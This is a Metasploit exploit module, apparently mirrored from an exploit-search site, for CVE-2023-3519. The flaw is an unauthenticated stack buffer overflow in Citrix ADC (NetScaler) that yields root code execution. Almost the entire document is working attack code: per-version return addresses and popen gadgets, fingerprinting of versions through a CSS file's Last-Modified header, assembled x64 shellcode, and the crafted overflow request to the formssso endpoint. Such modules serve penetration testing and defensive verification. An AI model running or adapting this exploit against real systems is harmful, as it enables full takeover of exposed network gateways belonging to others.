Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-FREEBSD-HTTP-CITRIX_FORMSSSO_TARGET_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE',
'Description' => %q{
A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer
overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in
remote code execution as root.
},
'Author' => [
'Ron Bowes', # Analysis and module
'Douglass McKee', # Analysis and module
'Spencer McIntyre', # Just the module
'rwincey' # Version detection
],
'References' => [
['CVE', '2023-3519'],
['URL', 'https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519'],
['URL', 'https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467']
],
'DisclosureDate' => '2023-07-18',
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'Payload' => {
# at a certain point too much of the stack will get corrupted, should be less than target['fixup_rsp_adjustment']
'Space' => 2048,
'DisableNops' => true
},
'Targets' => [
[ 'Automatic Targeting', {} ],
# In some versions the epilogue reads directly from rbp and since the exploit clobbers it, the value needs to
# be restored. In these cases return_rbp_adjustment is defined in the target. If the epilogue pops the values
# from the stack, then RBP doesn't need to be restored and return_rbp_adjustment can be left undefined.
[
'Citrix ADC 13.1-48.47',
{
'fixup_return' => 0x00782403, # pop rbx; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x13a8,
'popen' => 0x01da6340,
'return' => 0x00611ae9, # jmp rsp; ns_create_cfg_nsp
'return_offset' => 168,
'timestamp' => 1685774350
},
],
[
'Citrix ADC 13.1-37.38',
{
'fixup_return' => 0x0077c324, # pop rbx; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x13a8,
'popen' => 0x01d7e320,
'return' => 0x015d131d, # jmp rsp; tfocookie_send_callback
'return_offset' => 168,
'timestamp' => 1669199916
},
],
[
'Citrix ADC 13.0-91.12',
{
'fixup_return' => 0x008530a2, # mov rbx, qword [rbp-0x28]; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x12e0,
'fixup_rbp_adjustment' => 0x190,
'popen' => 0x01f42ec0,
'return' => 0x024883bf, # jmp rsp; ns_pixl_eval_nvlist_t_typecast_list_t_dynamic
'return_offset' => 168,
'timestamp' => 1683865450
}
],
[
'Citrix ADC 12.1-65.25',
{
'fixup_return' => 0x009babca, # mov rbx, qword [rbp-0x28]; ns_aaa_client_handler
'fixup_rsp_adjustment' => 0x1560,
'fixup_rbp_adjustment' => 0x120,
'popen' => 0x01b31e20,
'return' => 0x007d0845, # jmp rsp; ns_audit_cmd2strrer
'return_offset' => 168,
'timestamp' => 1669466053
}
],
[
'Citrix ADC 12.1-64.17',
{
'fixup_return' => 0x009b98aa, # mov rbx, qword [rbp-0x28]; ns_aaa_client_handler
'fixup_rsp_adjustment' => 0x1560,
'fixup_rbp_adjustment' => 0x120,
'popen' => 0x01b2e960,
'return' => 0x01333f18, # jmp rsp; nssmpp_process_message_queue
'return_offset' => 168,
'timestamp' => 1650533675
}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'WfsDelay' => 10
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
# version 13.x resource path
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'LogonPoint', 'index.html')
})
return CheckCode::Unknown if res.nil?
if res.code == 200 && res.body =~ /<title class="_ctxstxt_NetscalerGateway">/
mytarget = get_target
return CheckCode::Appears("Detected #{mytarget.name}.") if mytarget
return CheckCode::Detected
end
# version 12.x resource path
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'vpn', 'index.html')
})
return CheckCode::Unknown if res.nil?
if res.code == 200 && res.body =~ /Citrix Gateway/ && res.body =~ /AccessGateway\.ico/
mytarget = get_target
return CheckCode::Appears("Detected #{mytarget.name}.") if mytarget
return CheckCode::Detected
end
CheckCode::Safe
end
def get_target
return @detected_target if @detection_ran
@detection_ran = true
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'fonts', 'citrix-fonts.css')
})
return nil unless res&.headers&.[]('Last-Modified').present?
timestamp = DateTime.parse(res.headers['Last-Modified']).to_i
@detected_target = targets.select { |t| t.opts['timestamp'] == timestamp }.first
end
def exploit
mytarget = target
if mytarget.name == 'Automatic Targeting'
mytarget = get_target
fail_with(Failure::NoTarget, 'The target did not match a known fingerprint for automatic targeting.') if mytarget.nil?
end
shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, Template.render(<<-SHELLCODE, target: mytarget)).encode_string
call loc_popen_arg1
; add this to the path for python payloads
db "export PATH=/var/python/bin:$PATH;"
db "#{Rex::Text.to_hex(payload.encoded)}", 0
loc_popen_arg1:
pop rdi
call loc_popen_arg2
db "r", 0
loc_popen_arg2:
pop rsi
mov rax, <%= target['popen'] %>
sub rsp, 0x200
call rax
loc_return:
xor rax, rax
add rsp, <%= target['fixup_rsp_adjustment'] + 0x200 %>
<% if target['fixup_rbp_adjustment'] %>
mov rbp, rsp
add rbp, <%= target['fixup_rbp_adjustment'] %>
<% end %>
push <%= target['fixup_return'] %>
ret
SHELLCODE
buffer = rand_text_alphanumeric(mytarget['return_offset'])
buffer << [mytarget['return']].pack('Q')
buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'gwtest', 'formssso'),
'encode_params' => false, # we'll encode them ourselves
'vars_get' => {
'event' => 'start',
'target' => buffer
}
})
end
class Template
def self.render(template, context = nil)
case context
when Hash
b = binding
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
when NilClass
b = binding
else
raise ArgumentError
end
b.eval(Erubi::Engine.new(template).src)
end
end
end